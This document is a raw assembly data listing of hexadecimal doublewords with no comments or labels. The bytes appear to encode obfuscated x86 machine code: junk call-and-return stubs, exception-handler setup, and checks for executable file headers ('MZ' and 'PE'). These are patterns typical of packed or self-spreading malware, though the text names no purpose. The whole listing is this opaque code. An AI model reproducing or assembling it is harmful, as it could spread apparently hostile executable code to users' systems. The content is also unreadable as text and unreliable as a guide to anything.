		dd 51410000h, 1A5711C3h, 0AE810AB5h, 58F78ACEh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 16C35040h, 8D8B723Ah
		dd 6A80B89h, 14418D8Bh,	8C206A8h, 5E96000h, 0A2000000h
		dd 40A9F794h, 8E9h, 0ACDDFF00h,	0E187D913h, 0C08B615Eh
		dd 8DCE8B66h, 0AC134185h, 0CF816606h, 85894BEBh, 6A805E9h
		dd 0E1000BAh, 0EA81F0h,	83F00000h, 958914C2h, 6A800A1h
		dd 8D14EA83h, 0AC266585h, 0FF645006h, 35h, 25896400h, 0
		dd 0E8h, 0C22B5800h, 0FFF00025h, 388166FFh, 850F5A4Dh
		dd 12h,	3C50B70Fh, 3A81D003h, 4550h, 0A840Fh, 2D0000h
		dd 0E9000010h, 0FFFFFFD9h, 8589C88Bh, 6A831D5h,	0F3C4003h
		dd 890650B7h, 0A80E7595h, 50508B06h, 26059589h,	0F80506A8h
		dd 8B000000h, 0D1030C50h, 0D819589h, 500306A8h,	41958908h
		dd 6406A816h, 58Fh, 0C4830000h,	13E904h, 8B510000h, 8110244Ch
		dd 0B0A9h, 100000h, 0C0335900h,	61BD83C3h, 6A800h, 24840Fh
		dd 85C60000h, 6A815D5h,	0A7D26847h, 0B5FFD49Ah,	6A80F95h
		dd 6971858Dh, 0D0FF06ABh, 0D0FF006Ah, 2D858589h, 0D38B06A8h
		dd 12E8h, 0B4A27000h, 0B45E97Bh, 578E3C2Dh, 443E9A71h
		dd 60FDCC82h, 10E9h, 0A5A04B00h, 0EE422F62h, 1171DC20h
		dd 8C641CF7h, 6192B7F4h, 7E959h, 21980000h, 4DF3856h, 6DC181BAh
		dd 51000071h, 68E0Fh, 0F2810000h, 0FC1494Fh, 0FC0335Fh
		dd 34FFFEBFh, 0DBB70F08h, 5E95Eh, 66340000h, 818D638Fh
		dd 0D6C6ABF6h, 0C681FC7Bh, 67D91E44h, 5A28B351h, 9C19F681h
		dd 0B70F7CC7h, 13489DBh, 0CA9BF381h, 8A602D0Ah,	0E88361F4h
		dd 0CC38BA01h, 484807C1h, 0F881F948h, 0FFFF8F40h, 0FFB0850Fh
		dd 820FFFFFh, 0Ah, 4820Fh, 0BB660000h, 8960B21Ch, 0A806A19Dh
		dd 10E906h, 49250000h, 21397359h, 6A9529A5h, 0AD29B4Ch
		dd 0C08BEE58h, 34798D8Bh, 0BD8306A8h, 6A81ED9h,	83097500h
		dd 0A82DE9BDh, 19740006h, 0C08B5350h, 438B8h, 0B5858900h
		dd 8D06A807h, 0AAA1AC9Dh, 5BD3FF06h, 0E9BD8358h, 6A82Dh
		dd 53501774h, 438B8h, 0B5858900h, 8D06A807h, 0AA9E9B9Dh
		dd 5BD3FF06h, 0BD336058h, 6A81B75h, 618FDE80h, 6AC08Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 4FF319C3h, 41E86271h, 89000008h, 0A82A8D85h,	0D5B52306h
		dd 0E806A82Ch, 830h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 98C35545h, 0BA034160h, 627AB98Bh, 0CE81663Eh
		dd 0B5013ADBh, 6A81E05h, 34C5B58Bh, 858906A8h, 6A81DA9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 4AC35242h
		dd 0E83DF5E7h, 7D0h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0B9C35242h, 0DE2AB413h, 14E9B696h, 0B5000000h
		dd 0B469DADDh, 0AC9ACFB8h, 9DB80286h, 39EC4A46h, 8935C8B4h
		dd 0A8156185h, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 8B661041h, 76AE8F9h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 27EAA9C3h, 0FEFA049Fh, 0E9E3AFD2h, 14h, 92D86E1h, 47CAA5F8h
		dd 0B36144B3h, 9FA3F2BEh, 0A64BD1E0h, 0E018589h, 6A06A8h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0D73A3DC3h, 237C170Bh, 6840F93h, 9000000h, 0A830259Dh
		dd 6F2E806h, 0BE80000h,	97000000h, 0DAC40C1Eh, 8F5453AAh
		dd 8166D6E1h, 5F3CADDEh, 14A18589h, 6A06A8h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0E5B96CC3h
		dd 3B2F11D9h, 6AFE8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0F28B66E7h, 15358589h
		dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0B58B9EC3h, 6A80165h, 663E8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 4DED302Fh, 6606F7ABh, 8589FA8Bh, 6A805FDh, 0E85EF857h
		dd 630h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 19h,	8C35646h, 0CEEB4732h, 12E9DCh, 0FE550000h, 0B41A749Bh
		dd 6C5C5793h, 37FF4D79h, 0FE1A8674h, 0D418589h,	6A06A8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0B58BD1C3h, 6A8168Dh, 5CBE8h, 8D858900h, 6A06A829h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0C077C352h, 5A2E84Dh, 85890000h, 6A82071h
		dd 9FBBF5BFh, 0F1816679h, 8DE8B726h, 6A000005h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 86ABC351h, 2041FF47h, 0B1858969h, 6A06A801h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 759AC352h, 0EFE31BA1h, 0E8274AA3h, 53Ch, 16FD8589h
		dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0EA12E9C3h, 0A143AFB2h, 0B5891B59h, 6A817CDh
		dd 507E8h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0BF8E2309h, 33474DADh, 21118589h
		dd 0BD8906A8h, 6A8093Dh, 4D3E8h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0EDB529ADh
		dd 5106A833h, 6820Fh, 85890000h, 6A81DA1h, 818D8B59h, 8906A81Eh
		dd 0A82A1185h, 53006A06h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 31A5B0F5h, 0A82CE185h
		dd 46EE806h, 85890000h,	6A80915h, 681B966h, 5DE8F88Bh
		dd 6A000004h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 22C3C357h, 8C800146h, 19FBCED0h
		dd 89C88B66h, 0A8350985h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 686EB86Dh
		dd 9DBD0358h, 0B006A826h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0D00504C0h
		dd 0D398761h, 0F0BF6626h, 68D0F6Ch, 89000000h, 0A81FE99Dh
		dd 0D8B60F06h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	56C35343h, 0D66171CCh, 66C13A4Fh, 89D6C781h, 6BAh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 892BB765h, 0A80B55B5h, 0E8C38B06h, 14h
		dd 6AF5828Fh, 0AC61272Ch, 0FE4AE8B7h, 0AFA342A2h, 6296A28Ah
		dd 68E0Fh, 8D8B0000h, 6A82A81h,	6D9D295Eh, 0C106A81Bh
		dd 6A04E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 6010F8C3h, 1FD2CE49h, 7EDE8166h, 0F766F921h
		dd 2DB58BE2h, 2B06A82Eh, 68B0FD8h, 0F000000h, 88h, 14E95000h
		dd 4B000000h, 0C61C3944h, 732E6D9Ah, 0BA590E04h, 251AE799h
		dd 890AFEE2h, 6A241Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 4BC4ABC3h, 95D2DC6Bh, 34498D8Bh
		dd 95FF06A8h, 6A8068Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 56C35343h, 895BC97Fh,	0A82BADBDh, 0F1958D06h
		dd 6A06A80Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 8D74C357h, 3D5389E4h, 6005031Ah
		dd 18C0Fh, 89F50000h, 0A8153D95h, 1A896106h, 2601B58Bh
		dd 428906A8h, 12E804h
		dd 82DD0000h, 0EC430C2Bh, 0B66B9560h, 0B9727575h, 0C4FDA033h
		dd 1EA58D03h, 8D5906A8h, 0A826C595h, 0CFC98106h, 8B110316h
		dd 0A806998Dh, 6A1A8906h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0C073C350h,	0EE969h
		dd 7F4D0000h, 9CE95066h, 357670C1h, 10699ECCh, 6320CF81h
		dd 42895FB4h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 880FFD81h, 6, 2521B529h, 816606A8h
		dd 8D88F3C6h, 0A8315995h, 0E98D8906h, 8906A81Ah, 0F4E6811Ah
		dd 8929D55Dh, 0BF0F0442h, 35BD8BF0h, 8D06A809h,	0A8014995h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0A7904CB9h, 0E5FBAAB2h, 8419501h, 1A8906A8h
		dd 174D8D01h, 428906A8h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 5C87CEE4h, 21958D7Ch
		dd 6A06A800h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 60E8C356h, 0A56E9FF1h,	42891A89h
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 75C11BCFh, 2F45958Dh, 89FC06A8h,	56006A1Ah
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 881F927Fh, 6A31BF9Fh, 0B5899F80h, 6A81FD1h, 44289F5h
		dd 0EAD8D03h, 958D06A8h, 6A83005h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 84C35242h, 9DBFAA9Bh, 8B4C6793h
		dd 0A8061D8Dh, 521A8906h, 0B58B5FF9h, 6A83321h,	6A044289h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0CFA5C351h, 0B8AFA1C1h, 0AB9958Dh, 6A06A8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 278D89C3h, 3DF6B966h, 6A1A89h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 1A1A5AC3h, 442895Ah
		dd 8F5B503h, 8B6606A8h,	0F3E9FEh, 0B5890000h, 6A83375h
		dd 8509006Ah, 6A817E9h,	6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 6F812DC3h, 0DC922A80h
		dd 8D23434Bh, 6A81B49h,	29C9BD29h, 6A06A8h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 98C35242h, 58EE4AF8h
		dd 63A239D2h, 0A9B58BB6h, 6A06A825h, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 84E23BFFh
		dd 858E5A49h, 12E802B3h, 0D1000000h, 0FEDFD28Eh, 100B82FDh
		dd 72FFA27Dh, 2CC5DECBh, 0DE95FC8h, 50000000h, 6C70374Bh
		dd 0CBDAC72Dh, 38333106h, 3019BD01h, 95FF06A8h,	6A80281h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 19C35040h
		dd 7358529h, 9C306A8h, 0A82F9595h, 6AC58A06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 12BFC353h, 66D81A10h, 8BC458BFh, 53006AC0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 20FB675h, 0D83A94A7h
		dd 1711B589h, 0BD8306A8h, 6A81ED9h, 83097500h, 0A82DE9BDh
		dd 19740006h, 0C08B5350h, 438B8h, 0D5858900h, 8D06A80Fh
		dd 0AAA2139Dh, 5BD3FF06h, 0E9BD8358h, 6A82Dh, 53501774h
		dd 438B8h, 0D5858900h, 8D06A80Fh, 0AA9EB49Dh, 5BD3FF06h
		dd 53006A58h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 5795BE8Ch, 58E0Fh, 95BF0000h, 5F4C5883h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0A4C35242h
		dd 95319026h, 1391B382h, 0CDBD892Ch, 8B06A80Fh,	85858DC0h
		dd 6A06A833h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0EB0BC357h, 50FB8B66h,	4891CB3h
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0CDBA35ACh, 0D4B823F3h, 2A98589h, 6A06A8h
		dd 30499531h, 6A06A8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 4CC35343h, 0B9D2D8D5h, 0BF66AD53h, 0BD892B79h
		dd 6A82F31h, 345A858Dh,	6A06ACh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0C0837DC3h, 9D8B5705h
		dd 6A83129h, 0BE8505Fh,	6C000000h, 857680CBh, 9D4C14EBh
		dd 11E838B2h, 5A000000h, 52E613C3h, 5F9074F9h, 2D2635Eh
		dd 3253080Ch, 4895F5Bh,	55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0F50F3F9Bh, 0FF3E57D5h
		dd 95891DFEh, 6A82089h,	8A0F006Ah, 6, 93DB589h,	0FB8B06A8h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0B92D76C3h, 56740744h, 870F7015h,	5, 7BCB8166h
		dd 4195FF0Fh, 6A06A825h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0CB0DC350h,	520F86A3h
		dd 0E3B66028h, 8E9h, 7FF55900h,	3220E41Eh, 5F52612Fh, 8C7F8D8Dh
		dd 6A06ABh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0FA851C3h, 8Dh, 0E9D1FF00h, 7, 0AEBA7C40h
		dd 83997DF1h, 0A8339DBDh, 850F0106h, 67h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 0FDC35545h, 0A735F3DFh
		dd 8B1D2181h, 999D29FBh, 6A06A82Bh, 15BD8B02h, 9006A800h
		dd 0E850D88Bh, 0Fh, 8F88AF31h, 755E19D5h, 1545DB8Dh, 0F3B962Dh
		dd 8Dh,	0F905F00h, 489h, 0A7BF6600h, 1D95FFD1h,	6606A81Eh
		dd 0E9F50DBFh, 0DAFh, 0E8h, 0ED815D00h,	6AC3464h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3C35242h, 5394F2Bh
		dd 2AD19589h, 6A06A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0B3407FC3h, 0E96CB3EFh, 0Fh, 86BA24FAh
		dd 83258570h, 722F926Fh, 8DAB889Bh, 0AB7E2E85h,	0D3816606h
		dd 5090161Ah, 6B6F8BBBh, 8E0F9038h, 2, 0FF645B50h, 35h
		dd 7E900h, 31700000h, 17CD1675h, 4648BBBEh, 89641584h
		dd 25h,	51006A00h, 3E8h, 0C3592000h, 244C8959h,	24448104h
		dd 1A04h, 0C3514100h, 7F6E99D3h, 0BFCEC791h, 5FF83F39h
		dd 92D38166h, 0F185FFC3h, 6A06A833h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0FB3FC352h
		dd 3652E578h, 0CA620EBFh, 4BDB8166h, 6AFF6A93h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0CB91C357h, 0A59EF037h, 11E9h, 0CA712700h, 0C772C3EBh
		dd 210AA99h, 89118BD2h,	0B5FFF8E6h, 6A82A8Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 1CC35747h, 2408E7E7h
		dd 0C107C750h, 2A7D95FFh, 1DE906A8h, 0B0000001h, 8DBD8B00h
		dd 0F06A809h, 289h, 0E6D0B700h,	71E4FC70h, 0B6D9D8Bh, 613C06A8h
		dd 0FA830Fh
		dd 8D890000h, 6A82CF9h,	0BAC8B60Fh, 6, 0CC98589h, 0C18B06A8h
		dd 0C799529h, 0C1F906A8h, 0BD8904E8h, 6A81C09h,	3E2F766h
		dd 0A81D499Dh, 41BD8B06h, 2B06A81Eh, 6D9D01C8h,	8B06A809h
		dd 0DAB70FD1h, 0E9h, 0F1858B00h, 6606A80Bh, 0BD99CB81h
		dd 254DBD09h, 0C08306A8h, 0D9BF0F07h, 5000C083h, 0CBD8D29h
		dd 0F5F06A8h, 0D03BD9B7h, 0B830Fh, 0B5290000h, 6A831B9h
		dd 7BE9h, 218D8B00h, 0F06A830h,	118Eh, 0E8F86000h, 8, 0CAB5DA51h
		dd 7E3D0FF7h, 0E1836158h, 55840F01h, 31000000h,	0A81A4D85h
		dd 21A58306h, 0FE06A830h, 13E9h, 0F076500h, 0E07EF6CDh
		dd 5CC606C6h, 88612B0Dh, 3B80E621h, 306D8509h, 958906A8h
		dd 6A80BF1h, 14E9h, 8176B400h, 67EEF362h, 7663E2A8h, 0B158E376h
		dd 7877B49Eh, 458D29A1h, 0E906A806h, 0
		dd 0BADDB58Dh, 6A06ABh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 67EC98C3h, 1C28E3C6h, 84BB66A7h
		dd 6A006A76h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0F51C352h, 0E2C96D77h,	0FF147D7Ah
		dd 0A81B3195h, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 59D35ECFh, 0D8BF0F95h
		dd 651B9h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0F9AD2C18h, 1CEF6DDh, 0B70FBB78h
		dd 0FCE183D9h, 68C5D7BFh, 0C7816622h, 89FC8AF9h, 0A80D998Dh
		dd 0B806h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 78A576C3h, 473E6F9Fh, 0AE9h, 7CDFA000h
		dd 7B0E762Bh, 2B1C55ABh, 51006AD2h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 8BB7A4ACh, 0A81FED9Dh
		dd 8E906h, 0BF210000h, 0A660983h, 33AD5F94h, 3E8D1C2h
		dd 4E983D0h, 9D8BF475h,	6A806D5h, 89DF8B66h, 0A81E25B5h
		dd 880D06h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0B9631BC3h, 94F7B62h, 8B10C54Ah
		dd 0A827499Dh, 0B9958B06h, 6A06A805h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 9D0DC357h
		dd 90BE6149h, 698D8B39h, 0BB06A814h, 0CAA4F23h,	8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 10E95818h,	7000000h
		dd 5AC8A335h, 2600347h,	0FA95C02h, 837321BFh, 0A80C91BDh
		dd 840F0006h, 3Fh, 0B8D88B66h, 0
		dd 4BD78166h, 0AF8D8DD8h, 6A06A84Fh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0A918C351h
		dd 0E79B5FF3h, 89C7FBBCh, 0A806E19Dh, 83E1FF06h, 0A80BBDBDh
		dd 840F0006h, 46Eh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 84C35040h, 7F99A25Fh,	0BBDBD83h, 0F0106A8h
		dd 45C84h, 83DA8B00h, 0A80BBDBDh, 860F0306h, 417h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 29C35141h, 0DDDFC758h
		dd 0E860744Ch, 0Fh, 0E02B42Bh, 43EB4A0Fh, 97990A3Dh, 669450FBh
		dd 3869F381h, 0D98C665Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 67C35545h, 880C8204h,	0E1807462h, 0F9BF0F04h
		dd 840FC90Ah, 136h, 858BDA8Bh, 6A80BE1h, 15B99D8Bh, 853306A8h
		dd 6A81D5Dh, 0D690F781h, 8B0F4561h, 6, 2F1DBD8Bh, 509006A8h
		dd 0E2B86052h, 8B49F267h, 310F61F8h, 310F5250h,	0CE8h
		dd 49183C00h, 1CAEBF96h, 67E2844Dh, 585A5FACh, 0F50585Ah
		dd 0C84h, 7E900h, 9A430000h, 4986C5B8h,	0C7819064h, 242F7133h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 8EDC67C3h, 6628BD37h, 0BD29FB3Bh,	6A820D9h
		dd 4E8h, 1F03FF00h, 50FB8B00h, 98CA7EBFh, 24448B52h, 60525004h
		dd 0BB666160h, 0F616072h, 0BB525031h, 2AEC2F37h, 585A310Fh
		dd 8B585Ah, 800Fh, 44890000h, 0FB8B0424h, 299D8B58h, 0FF06A831h
		dd 0A8074195h, 0DF816606h, 89604912h, 0A81F1995h, 8961F906h
		dd 0ABA22785h, 53006A06h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0E7EC1869h, 14E9F8F7h
		dd 6A000002h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0B237C350h, 858B319Ah,	6ABA21Fh
		dd 2E459D33h, 0C706A8h,	18h, 7E8h, 63952800h, 34373F53h
		dd 69C7BF5Fh, 0B58B4751h, 6ABA223h, 10E9h, 74792500h, 5CD6C10h
		dd 0B35FDB0Fh, 0ECBB9ADCh, 7D858B98h, 8B06A82Bh, 6A0689D8h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 9A50C352h, 0E1858BF8h, 0E906A80Bh, 13h, 350E6854h
		dd 23E5EBD4h, 3E478F0Ah, 6005D4EFh, 896E1634h, 0A80A95B5h
		dd 4468906h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0EAC35747h, 0B6AFBF1Dh,	0E9F73941h, 11h, 9B350F7Fh
		dd 0B004CD05h, 60EA781Ah, 0B975A2E3h, 0C38166BCh, 0B79610C1h
		dd 8B665073h, 6A96D8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0B58981C3h, 6A8163Dh, 0A21FB5FFh
		dd 0BB6606ABh, 9D8B6965h, 6A827B5h, 74A92A68h, 800F6035h
		dd 12h,	0CE8h, 0EFBBBB00h, 0F0F7C5CBh, 0B4255CDEh, 5AB55954h
		dd 24348161h, 356BAAD5h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0E1C35242h, 1EE205EEh, 0E8AA5091h, 10h
		dd 6292881Ch, 33D49D66h, 17E15EEDh, 0F5D794C2h,	8D5FF88Ah
		dd 0ABA22785h, 1DBD3106h, 9006A815h, 6E8h, 3AB21700h, 60D092D6h
		dd 0DE8h, 0B5C15B00h, 5BEF0B0Fh, 819EF48Eh, 605E49FAh
		dd 505F6161h, 0DE9h, 0C8302400h, 0E699DB41h, 3FFAA7C8h
		dd 6A903294h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0EE6FC352h, 0ADA3482Bh, 95FFFB8Bh
		dd 6A80741h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0C3C35141h, 61C2F452h, 342DBD09h, 85C706A8h, 6A80BBDh
		dd 3, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h, 19h
		dd 0FBC35040h, 0B3802EE8h, 82CBFAFh, 9D0909CBh,	6A82D0Dh
		dd 0A227BD83h, 0F0006ABh, 3284h, 0F88B6600h, 1E9BD8Bh
		dd 3FE906A8h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 942EC350h, 9B50993h
		dd 5006A81Ch, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 64E492C3h, 0BD2938D4h, 6A8009Dh
		dd 0BBDBD83h, 0F0306A8h, 3FA85h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 81C77A8Ch
		dd 5354F1DFh, 19D2967h,	8906A803h, 0A813ED95h, 27BD8306h
		dd 6ABA2h, 3BD840Fh, 0F7800000h, 27B5FFBFh, 6A06ABA2h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 5115C352h, 4982DBF4h, 4273CC18h, 0E39B509h
		dd 95FF06A8h, 6A815F9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0CC35343h, 9D8B49E8h,	6A80FF9h, 1E0DBD8Bh
		dd 0B58B06A8h, 6ABA21Bh, 1A3EBF66h, 614808BFh, 106C724h
		dd 6A000100h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 4472C356h, 0BEC72C6h, 0A807459Dh
		dd 66579606h, 5B7DA5BFh, 0FE950h, 12430000h, 8A1DD76Ch
		dd 0BC3A0088h, 8BF5CDDCh, 0B5FF96C2h, 6ABA227h,	6AAABB66h
		dd 219995FFh, 0BD8906A8h, 6A81D45h, 0A21BB58Bh,	0BD2906ABh
		dd 6A82E4Dh, 0E41858Bh,	8B5306A8h, 0A819E1BDh, 86895F06h
		dd 0C4h, 2B59B509h, 958B06A8h, 6A805B9h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 82C35747h, 0C2CC99Fh
		dd 8E38EF12h, 9BD8BBBh,	8306A831h, 0B2BF04C2h, 8975F238h
		dd 95292050h, 6A82EE9h,	0B7CE858Dh, 6A06ABh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E4EE1EC3h
		dd 3A5C45F0h, 66994CD0h, 8689FA8Bh, 0B8h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 98C35646h, 6A29D882h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0FAB58A08h, 3ED50225h, 0E8F88A6Dh, 0Fh
		dd 16454264h, 6600049Dh, 65752683h, 8B53321Ch, 0B5FF5BD8h
		dd 6ABA227h, 141D9D03h,	95FF06A8h, 6A81E1Dh, 65D4E381h
		dd 50966351h, 6A96D98Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 53F1C352h, 0E96C33A5h
		dd 9, 0F16D6FA4h, 0FA428362h, 27B5FF8Ch, 6A06ABA2h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0BA4CC353h, 0CA17B91Eh, 5FD0C351h, 0EE9h, 0B7A1F900h
		dd 20E5D647h, 0AF54332Dh, 0FF11BB35h, 0A82A6995h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 1870F64h, 0F8000000h, 2E3DBD83h, 0F0006A8h, 3E84h, 0ADBD8B00h
		dd 9606A82Ch, 0E9525050h, 8, 4160984Bh,	0B98BBA03h, 0DA8B310Fh
		dd 6A96585Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 38DFC356h, 0FFE2FD9Eh,	0ABA227B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0BBE8DE64h, 0F9B70F9Ah, 318595FFh, 6A06A8h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0D381FBC3h, 616B3D96h, 0A227B5FFh, 6A06ABh, 3E857h
